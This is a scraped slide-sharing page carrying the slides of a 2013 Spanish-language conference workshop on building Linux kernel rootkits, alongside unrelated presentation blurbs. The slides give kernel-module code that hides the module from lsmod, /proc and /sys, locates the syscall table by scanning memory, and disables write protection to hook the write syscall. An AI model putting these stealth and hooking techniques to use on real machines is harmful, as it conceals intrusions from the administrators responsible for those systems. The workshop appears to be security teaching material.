En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. Entenderá y desarrollara técnicas para ocultarse y métodos anti-forenses.
Objetivo Principal:
Aprender las técnicas de desarrollo de Rootkits
Objetivos Secundarios:
Conocer las características del Kernel.
Aprender a generar módulos de Kernel
Conociendo algunas téncias (VFS Hijacking, Syscall Hijacking, StructTask Hijack, Infecting LKM’s)
Temario
Introducción a los Rootkits
Introducción a los Módulos de Kernel
Consideraciones de Programación
Parámetros de Módulos
Estructuras del Kernel
Hijacking
Prácticas
El módulo “Hello World”
Manejando Parámetros en el módulo.
Trabajando con la task_struct
Escondiendo módulos
Hijacking de /proc
Hijacking de syscall
Creando de un keylogger
Requisitos:
Conocimientos medios en C
Manejo básico/medio de linux
Una PC/Laptop con VirtualBox (Se entregará a cada participante una imágen con Debian 64Bits para que comiencen a desarrollar).
Slides principales de la introducción a ROS (Robot Operating System), dentro del curso-proyecto de robótica "APRENDIENDO A CONSTRUIR ROBOTS INTELIGENTES" http://roboticaeuropa.org/curso-1/robots-ros-raspberry-pi Próxima edición empieza el 28 DE NOVIEMBRE
Slides principales de la introducción a ROS (Robot Operating System), dentro del curso-proyecto de robótica "APRENDIENDO A CONSTRUIR ROBOTS INTELIGENTES" http://roboticaeuropa.org/curso-1/robots-ros-raspberry-pi Próxima edición empieza el 28 DE NOVIEMBRE
Desarrollo de drivers y aplicaciones para FreeRtosMarcelo Sanz
FreeRtos es uno de los sistemas operativos en tiempo real que mas atencion a llamado en los ultimos tiempos por su simplicidad de uso, versatilidad y gran disponibilidad de ports para cada uno de los microcontroladores que se encuentran en el mercado. Igualmente no es trivial el desarrollo generico de aplicaciones para cualquier arquitectura cuando se necesita relacionarse con los perifericos que cada uno de estos dispositivos provee.
Este tutorial presentara conceptos y ejemplos de como desarrollar drivers que permitan el acceso de las aplicaciones a un dispositivo, generando la abstraccion necesaria entre la capa de aplicacion y el hardware del periferico.
Desarrollo de drivers y aplicaciones para FreeRtosMarcelo Sanz
FreeRtos es uno de los sistemas operativos en tiempo real que mas atencion a llamado en los ultimos tiempos por su simplicidad de uso, versatilidad y gran disponibilidad de ports para cada uno de los microcontroladores que se encuentran en el mercado. Igualmente no es trivial el desarrollo generico de aplicaciones para cualquier arquitectura cuando se necesita relacionarse con los perifericos que cada uno de estos dispositivos provee.
Este tutorial presentara conceptos y ejemplos de como desarrollar drivers que permitan el acceso de las aplicaciones a un dispositivo, generando la abstraccion necesaria entre la capa de aplicacion y el hardware del periferico.
Transformación de la banca con una plataforma ágil, flexible e integradaIBMSSA
La plataforma de agilidad e Integración le permitirá al Banco darle la “agilidad y flexibilidad” para responder rápidamente a los requerimientos del negocio, mejorando el “time-to-value” y la satisfacción al cliente de una manera integrada y colaborativa..
Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...IBMSSA
En un entorno cambiante, directivos de los servicios públicos tienen clara la importancia de tener mayor eficiencia de cara al ciudadano. Para eso, IBM tiene una serie de soluciones.
Inmodelega es un proyecto TIC privado. Consiste en una aplicación informática y hospedada en Internet, que sirve de plataforma entre usuarios demandantes y ofertantes de producto inmobiliario para contactar y ofrecer oportunidades de intercambio a partir de compartir información en ambas direcciones.
La información que capta la plataforma web relativa a los demandantes de estos productos, es sometida a un sistema de gestión basada en Reglas de Negocio o BRMS (Business Rules Management System) extraídas del sector financiero nacional y que son utilizadas a día de hoy por las entidades crediticias y financieras (bancos, cajas, etc) para el proceso de tomas de decisiones en la concesión de productos tales como la financiación hipotecaria.
La necesidad de las empresas a adaptaciones rápidas y eficientes, necesitan apoyarse en tecnologías ágiles y dinámicas que se adapten a las nuevas exigencias del negocio, su entorno y sobre todo a clientes mas sofisticados.
Como aumentar la agilidad de su negocio usando reglas de negocio te ayudará con algunos lineamientos para comenzar a definir una estrategia. Presentación realizada en el BPM Forum - Hotel Emperador - Buenos Aires 2015.
Expenses management: Avoiding the scandal that has rocked parliamentSoftworld
Ian Walters, Non Executive Director, Institute of Payroll Professionals
Guidance on effective ways to manage expenses, how to minimise misuse of company money and conducting a review of your company policies.
How to Become a Thought Leader in Your NicheLeslie Samuel
Are bloggers thought leaders? Here are some tips on how you can become one. Provide great value, put awesome content out there on a regular basis, and help others.
Presentación para el Hackmeeting III (MadHack 2002) que tuvo lugar entre los días 4 y 6 de octubre del 2002 en el Laboratorio 3 en Lavapies, Madrid. (v 1.0).
Describe los tipos de exploits más habituales, análisis de shellcodes comunes, sistemas de protección "anti-exploits", sistemas de evasión en shellcodes anti IDS y el código fuente contiene descripción detallada de su contenido.
OpenInfra Meetup 27082019 / Kata ContainersAlvaro Soto
Kata Containers is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide stronger workload isolation using hardware virtualization technology as a second layer of defense.
Since launching in December 2017, the community successfully merged the best parts of Intel Clear Containers with Hyper.sh RunV and scaled to include support for major architectures including AMD64, ARM, IBM p-series and IBM z-series in addition to x86_64. Kata Containers also supports multiple hypervisors including QEMU, NEMU and Firecracker and integrates with the containerd project among others.
The Kata Containers community is stewarded by the OpenStack Foundation (OSF), which supports the development and adoption of open infrastructure globally. The code is hosted at GitHub under the Apache 2 license.
En esta conferencia se mostrarán las tecnicas para esconder y encontrar rootkits en los sistemas linux, ya sea mediante SLAB, reconstruccion de la tabla de procesos o mediante el sistema virtual de PROC/SYS.
Se mostrarán las técnicas para esconder nuestros LKM en el ambiente Linux, y para poder hacer unloads loads, abrir procesos sin ser detectados.
Las técnicas a abordar una vez cargado nuestro LKM serán:
Hijacking del sys_call_table (inline Hooking)
Patching del sys_call_table
Abuso de símbolos de debug
Se mostrarán las diferentes técnicas para detectar abusos y como evitar ser detectado.
GUADALAJARACON 2012
http://www.guadalajaracon.org
Guadalajara, Jalisco, México - 20 y 21 de abril del 2012
Trabajo que refleja desde un punto de vista Histórico las dos grandes arquitecturas de hoy en día:
ARM-(RISC,MIPS...)
X86 - (INTEL...)
Al final hay una comparativa de dos programas en ambas arquitecturas,espero le sirva para comprender el débate ¿cuál es mejor?
Similar a Desarrollo de rootkits en Linux [GuadalajaraCON 2013] (20)
Estadisticas de redes 802.11 en Mexico (2013) por Paulino CalderonWebsec México, S.C.
Investigación sobre el estado de fabricantes y de mecanismos de seguridad utilizados en redes inalámbricas 802.11 en México por Paulino Calderon. (2013)
Plática sobre utilizar diferentes técnicas para detener a scanners de seguridad y a la gente que los usa sin pensarlo.
Impartida en CISI 2018, DragonJARCON 2018, 8.8 Bolivia, 8.8 Perú y 8.8 México.
Grabación en video:
https://www.youtube.com/watch?v=NtQpzjgitao&t=1s
Explotación de vulnerabilidades recientes de Windows - Agosto 2017Websec México, S.C.
Información sobre vulnerabilidades recientes y cómo explotarlas. EternalBlue en Windows 7, EternalRomance en Windows 2016, LNK CVE-2017-8464 y SMBLoris en Windows 10. Presentación para alumnos de la UANL Universidad Autónoma de Nuevo León impartida durante el Congreso Internacional de Seguridad de la Información CISI en agosto del 2017.
Escribiendo firmas para el sistema de detección de versiones de NmapWebsec México, S.C.
En esta presentación aprendemos como funciona el sistema de detección de versiones de Nmap y como podemos escribir nuestras propias firmas para reconocer nuevos servicios en nuestra red.
El porqué está fallando tu programa de seguridad informática por Paulino Cald...Websec México, S.C.
Plática sobre las razones por las cuales fallan los programas de seguridad informática en las empresas actualmente. Experiencias personales que me han ocurrido a lo largo de mi carrera.
Esta charla trata sobre las vulnerabilidades más peligrosas que afectan a redes caseras y de trabajo actualmente. Se demostrarán técnicas reales que funcionan incluso en ambientes corporativos protegidos y que pueden ser utilizadas para comprometer redes enteras en menos de un día.
Dumpeando hashes del controlador de dominio por @_hkm
Una plática rápida sobre una de las técnicas más redituables durante una prueba de penetración. Utilizando una cuenta con permisos de administrador de dominio mostraremos como dumpear todos los hashes en formato NTLM almacenados en el controlador de dominio del directorio activo.
OSINT vs cibercrimen por @nickops
Conoce técnicas y herramientas de Inteligencia de Fuentes Abiertas (OSINT) que te ayudarán a reaccionar ante delitos de fraudes y extorsiones cibernéticas. Analizaremos un caso donde la Policía Cibernética de la Ciudad de México descubrió, investigó y capturó a una banda de extorsionadores por Internet.
Fraudes y extorsión cibernética.
Técnicas y herramientas de la Policía cibernética.
Técnicas y herramientas de OSINT.
- OSINT con Apps de Mensajería Instantánea.
- OSINT con entidades privadas y de Gobierno.
- OSINT con Facebook Graph Search.
Acerca del ponente @nickops:
Ingeniero en Telemática, egresado del Instituto Politécnico Nacional (UPIITA). Laboró en el GSC Ericsson México participando en proyectos de telefonía IP, móvil y fija. Es aficionado a la Seguridad Informática y se especializa en investigaciones cibernéticas con fuentes abiertas (Open Source Intelligence). Colaboró con la Unidad de Investigación Cibernética de la Procuraduría General de Justicia del Distrito Federal (PGJDF) en la búsqueda de una banda de extorsionadores por Internet. Es miembro de la Comunidad G3eckArmy y cuenta con publicaciones en blogs sobre Tecnología, Seguridad Informática y Protección de Datos Personales.
Recuperación de defaces y modificación de bases de datos con versionador git por @Alevsk
El objetivo es añadir una capa de seguridad extra a nuestros sitios o blog personales (y a proyectos mas grandes ¿Por que no?) para evitar y recuperarnos de los hackeos, con ayuda de algunos scripts en bash corriendo en background y Git podemos detectar cambios en los archivos de nuestro servidor y regresar al estado "trusted" que tiene el repositorio de Git, de igual manera revisando los checksums de las tablas en nuestra base de datos podemos saber si se ha insertado, eliminado o modificado algún registro o tabla (en el caso de sql injection y xss en la base de datos) y restaurarla rápidamente usando una copia. :)
Seguridad de Bitcoin por Luis Daniel Beltrán
- Descripción breve de como funciona el protocolo y la cadena de bloques.
- Mitos sobre el protocolo.
- Puntos fuertes del protocolo.
- Puntos débiles del protocolo.
- Descripción de como se han dado los robos mas representativos de Bitcoins.
- Explicación del reto que tenemos como profesionales en seguridad con este nuevo paradigma en el manejo de activos digitales.
Acerca del ponente Luis Daniel Beltrán
Desde muy temprana edad y de manera autodidacta se introdujo en el mundo de la tecnología llevándolo con los años a ser uno de los primeros usuarios de Internet en México. En la actualidad se especializa en montar y administrar infraestructura de seguridad para aplicaciones y sitios web de alto tráfico. Desde el año 2012 dedica parte de su tiempo libre al estudio de las criptomonedas.
A veces la diferencia entre poder acceder a un sistema remoto con éxito o fallar puede ser el conocimiento de una herramienta, una línea de comando o incluso una técnica de evasión de AV/Firewall. Esta plática brindará consejos y trucos para poder hackear "like a Boss", que le dará una ventaja durante la auditoría de un sistema
Ponente: Roberto Salgado. Director técnico y co-fundador de Websec México. Roberto ha participado y contribuido en proyectos importantes como ModSecurity, PHPIDS, sqlmap y el libro “Web Application Obfuscation“. Creó la base de conocimientos de inyección SQL, una de las referencias más completas disponibles en la web y Panoptic, un buscador de rutas de archivos comunes con vulnerabilidades tipo LFI. También desarrollo el método más rápido para extraer información de bases de datos vulnerables a inyección a ciegas.
CPMX5 - Las nuevas generaciones de redes por Luis ColungaWebsec México, S.C.
¿Te frustras cuando la comunicación inalámbrica falla cuando más la necesitas? ¿Sabías que es posible recibir señales de aviones, barcos o satélites de una manera fácil y económica? Software Defined Radio nos da herramientas para solucionar los problemas en las redes inalámbricas actuales y realizar cosas que antes eran imposibles.
Ponente: Luis Colunga. Investigador de Seguridad Informática con Websec. Desde los 11 años ha estado involucrado en las telecomunicaciones. Una de sus pasiones es propiciar la generación de soluciones a través de las telecomunicaciones, le preocupa que estos sistemas sean "seguros"
Video: https://www.youtube.com/watch?v=yuvLT0ALAoE
3Redu: Responsabilidad, Resiliencia y Respetocdraco
¡Hola! Somos 3Redu, conformados por Juan Camilo y Cristian. Entendemos las dificultades que enfrentan muchos estudiantes al tratar de comprender conceptos matemáticos. Nuestro objetivo es brindar una solución inclusiva y accesible para todos.
En este documento analizamos ciertos conceptos relacionados con la ficha 1 y 2. Y concluimos, dando el porque es importante desarrollar nuestras habilidades de pensamiento.
Sara Sofia Bedoya Montezuma.
9-1.
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informáticavazquezgarciajesusma
En este proyecto de investigación nos adentraremos en el fascinante mundo de la intersección entre el arte y los medios de comunicación en el campo de la informática.
La rápida evolución de la tecnología ha llevado a una fusión cada vez más estrecha entre el arte y los medios digitales, generando nuevas formas de expresión y comunicación.
Continuando con el desarrollo de nuestro proyecto haremos uso del método inductivo porque organizamos nuestra investigación a la particular a lo general. El diseño metodológico del trabajo es no experimental y transversal ya que no existe manipulación deliberada de las variables ni de la situación, si no que se observa los fundamental y como se dan en su contestó natural para después analizarlos.
El diseño es transversal porque los datos se recolectan en un solo momento y su propósito es describir variables y analizar su interrelación, solo se desea saber la incidencia y el valor de uno o más variables, el diseño será descriptivo porque se requiere establecer relación entre dos o más de estás.
Mediante una encuesta recopilamos la información de este proyecto los alumnos tengan conocimiento de la evolución del arte y los medios de comunicación en la información y su importancia para la institución.
Las lámparas de alta intensidad de descarga o lámparas de descarga de alta in...espinozaernesto427
Las lámparas de alta intensidad de descarga o lámparas de descarga de alta intensidad son un tipo de lámpara eléctrica de descarga de gas que produce luz por medio de un arco eléctrico entre electrodos de tungsteno alojados dentro de un tubo de alúmina o cuarzo moldeado translúcido o transparente.
lámparas más eficientes del mercado, debido a su menor consumo y por la cantidad de luz que emiten. Adquieren una vida útil de hasta 50.000 horas y no generan calor alguna. Si quieres cambiar la iluminación de tu hogar para hacerla mucho más eficiente, ¡esta es tu mejor opción!
Las nuevas lámparas de descarga de alta intensidad producen más luz visible por unidad de energía eléctrica consumida que las lámparas fluorescentes e incandescentes, ya que una mayor proporción de su radiación es luz visible, en contraste con la infrarroja. Sin embargo, la salida de lúmenes de la iluminación HID puede deteriorarse hasta en un 70% durante 10,000 horas de funcionamiento.
Muchos vehículos modernos usan bombillas HID para los principales sistemas de iluminación, aunque algunas aplicaciones ahora están pasando de bombillas HID a tecnología LED y láser.1 Modelos de lámparas van desde las típicas lámparas de 35 a 100 W de los autos, a las de más de 15 kW que se utilizan en los proyectores de cines IMAX.
Esta tecnología HID no es nueva y fue demostrada por primera vez por Francis Hauksbee en 1705. Lámpara de Nernst.
Lámpara incandescente.
Lámpara de descarga. Lámpara fluorescente. Lámpara fluorescente compacta. Lámpara de haluro metálico. Lámpara de vapor de sodio. Lámpara de vapor de mercurio. Lámpara de neón. Lámpara de deuterio. Lámpara xenón.
Lámpara LED.
Lámpara de plasma.
Flash (fotografía) Las lámparas de descarga de alta intensidad (HID) son un tipo de lámparas de descarga de gas muy utilizadas en la industria de la iluminación. Estas lámparas producen luz creando un arco eléctrico entre dos electrodos a través de un gas ionizado. Las lámparas HID son conocidas por su gran eficacia a la hora de convertir la electricidad en luz y por su larga vida útil.
A diferencia de las luces fluorescentes, que necesitan un recubrimiento de fósforo para emitir luz visible, las lámparas HID no necesitan ningún recubrimiento en el interior de sus tubos. El propio arco eléctrico emite luz visible. Sin embargo, algunas lámparas de halogenuros metálicos y muchas lámparas de vapor de mercurio tienen un recubrimiento de fósforo en el interior de la bombilla para mejorar el espectro luminoso y reproducción cromática. Las lámparas HID están disponibles en varias potencias, que van desde los 25 vatios de las lámparas de halogenuros metálicos autobalastradas y los 35 vatios de las lámparas de vapor de sodio de alta intensidad hasta los 1.000 vatios de las lámparas de vapor de mercurio y vapor de sodio de alta intensidad, e incluso hasta los 1.500 vatios de las lámparas de halogenuros metálicos.
Las lámparas HID requieren un equipo de control especial llamado balasto para funcionar
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Telefónica
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0xWord escrito por Ibón Reinoso ( https://mypublicinbox.com/IBhone ) con Prólogo de Chema Alonso ( https://mypublicinbox.com/ChemaAlonso ). Puedes comprarlo aquí: https://0xword.com/es/libros/233-big-data-tecnologias-para-arquitecturas-data-centric.html
Inteligencia Artificial y Ciberseguridad.pdfEmilio Casbas
Recopilación de los puntos más interesantes de diversas presentaciones, desde los visionarios conceptos de Alan Turing, pasando por la paradoja de Hans Moravec y la descripcion de Singularidad de Max Tegmark, hasta los innovadores avances de ChatGPT, y de cómo la IA está transformando la seguridad digital y protegiendo nuestras vidas.
INFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTAL
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
1. Building Basics Rootkits
Building Basics Rootkits
Attack Strategies
NataS::: The Lord of Chaos
Marcos Ricardo Schejtman Rubio
18 de Abril de 2013
2. Building Basics Rootkits
Contents
1 Introducci´on
¿Qu´e es un Rootkit?
Tipos de Rootkits
Funciones Comunes de Rootkits
2 Manos a la Obra
Consideraciones
Primeros Pasos
Ejercicio: Hello World Module
Manejando Parametros
3 T´opicos Avanzados
Trabajando con la Estructura de Tareas
Escondiendo nuestros pasos
3. Building Basics Rootkits
Introducci´on
¿Qu´e es un Rootkit?
¿Qu´e es un Rootkit?
Un rootkit (seg´un Wikipedia), se puede definir como:
Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.
4. Building Basics Rootkits
Introducci´on
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ıas, o archivos de configuraci´on, e
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem
5. Building Basics Rootkits
Introducci´on
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
6. Building Basics Rootkits
Manos a la Obra
Consideraciones
Consideraciones
Las diferencias m´as importantes entre un desarrollo a n´ıvel kernel o
espacio usuario son:
El kernel carece de protecci´on de memoria... algo que se
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ´enfasis al
desarrollar (Race-Conditions).
La portabilidad... entre versi´on y versi´on de n´ucleo.
7. Building Basics Rootkits
Manos a la Obra
Primeros Pasos
Primeros Pasos
Algunas Macros importantes:
module init();
module exit();
MODULE LICENSE(”GPL”);
MODULE AUTHOR(”NataS”);
MODULE DESCRIPTION(”My LKM”);
8. Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
static int hello_init(void) {
printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n");
return 0;
}
static void hello_exit(void) {
printk(KERN_ALERT "Goodbye GuadalajaraCon!n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("NataS");
MODULE_DESCRIPTION("My First LKM");
9. Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
Nuestro Makefile:
obj-m := modulo.o
Y Compilamos como:
make -C /lib/modules/$(uname -r)/build
SUBDIRS=$PWD modules
Cargamos nuestro m´odulo
insmod modulo.ko
Listamos nuestro m´odulo
lsmod | grep modulo
Eliminamos nuestro m´odulo
rmmod modulo.ko
10. Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Manejando Parametros
Los par´ametros se mandan cuando arrancamos el m´odulo de la
forma:
insmod modulo param1=valor1 param2=valor2
Para definir los par´ametros, primero declaramos variables y las
pasamos a la macro:
module_param(nombre, tipo, permisos)
module_param_string(nombre,variable, longitud, permisos);
Permisos son los definidos en sysfs, y afectan las entradas del
modulo en /sys/module
11. Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Ejercicio: Name and Age
static char myName[50];
module_param_string(name, myName, 50, 0);
static int age = 1;
module_param(age, int, 0);
...
printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
12. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
El kernel de linux contiene una lista enlazada (definida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.
13. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
Desde el kernel tenemos acceso directo a la lista de tareas
(task struct), la cual es una lista doblemente enlazada ¿A´un
recuerdan sus clases de programaci´on? Para acceder a la estructura
que contiene informaci´on sobre nuestro proceso, basta con hacer
uso del puntero current
#include <linux/sched.h>
#include <asm/current.h>
static int hello_init(void) {
printk(KERN_ALERT "My Name --> %s and PID -->
%i n", current->comm, current->pid);
return 0;
}
14. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Ejercicio: Get my PID and all others
Usando los c´odigos anteriores... Recorran la lista de tareas y pinten
cada proceso y su PID. Con este acceso pueden intentar esconder
un proceso tambi´en:
15. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding Ver.1
El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´odulos que est´an cargados (lsmod y
/proc leen dicha lista).
Esconder nuestro m´odulo es muy sencillo, en la funci´on de
inicio del m´odulo basta con eliminar la referencia de la lista:
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaci´on:
1 A´un somos detectables desde /sys
2 Al hacer un unload del m´odulo, debido a que no existe en la
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.
16. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Hide myself
Nos escodemos:
static int hide_init(void) {
printk(KERN_ALERT "Hello World! My first LKM.n");
printk(KERN_ALERT "Let’s get hide myself.n");
list_del(&THIS_MODULE->list);
return 0;
}
Nos buscamos
lsmod | grep modulo
cat /proc/modules | grep modulo
Nos Encontramos
ls /sys/module/modulo
17. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding. Ve2
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´odigo del kernel, vemos que en la descarga del
m´odulo, primero debemos eliminarnos de /sys y
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
est´en iniciados a NULL
Recomendaciones:
1 Recordar informaci´on previa (prev y next en la lista).
2 Sobreescribir readproc y writeproc
3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
18. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Find Me if You can
static inline void hideme(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
Ahora... busquemos el m´odulo
19. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
La direcci´on de la sys call table, puede ser encontrada en el archivo
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se
exporten, sys close por ejemplo.
20. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
21. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modificar este bit antes y despu´es del
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
22. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
23. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
25. Building Basics Rootkits
Referencias
Referencias
Designing BSD Rootkits, Joseph Kong
Linux Kernel Development, Robert Love
Writing Kernel Exploits Paper, Keegan MacAllister
Linux Kernel Crash Book, Igor Ljubuncic
The Rootkits Arsenal, Reverend Bill Blunden
26. Building Basics Rootkits
The End
Thanks
—————————————————————————–
Autor: Marcos Ricardo Schejtman Rubio
E-Mail: natashell@esdebian.org
E-Mail: natas@ohkasystems.com
Twitter: @natashell666
5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
LATEX para todos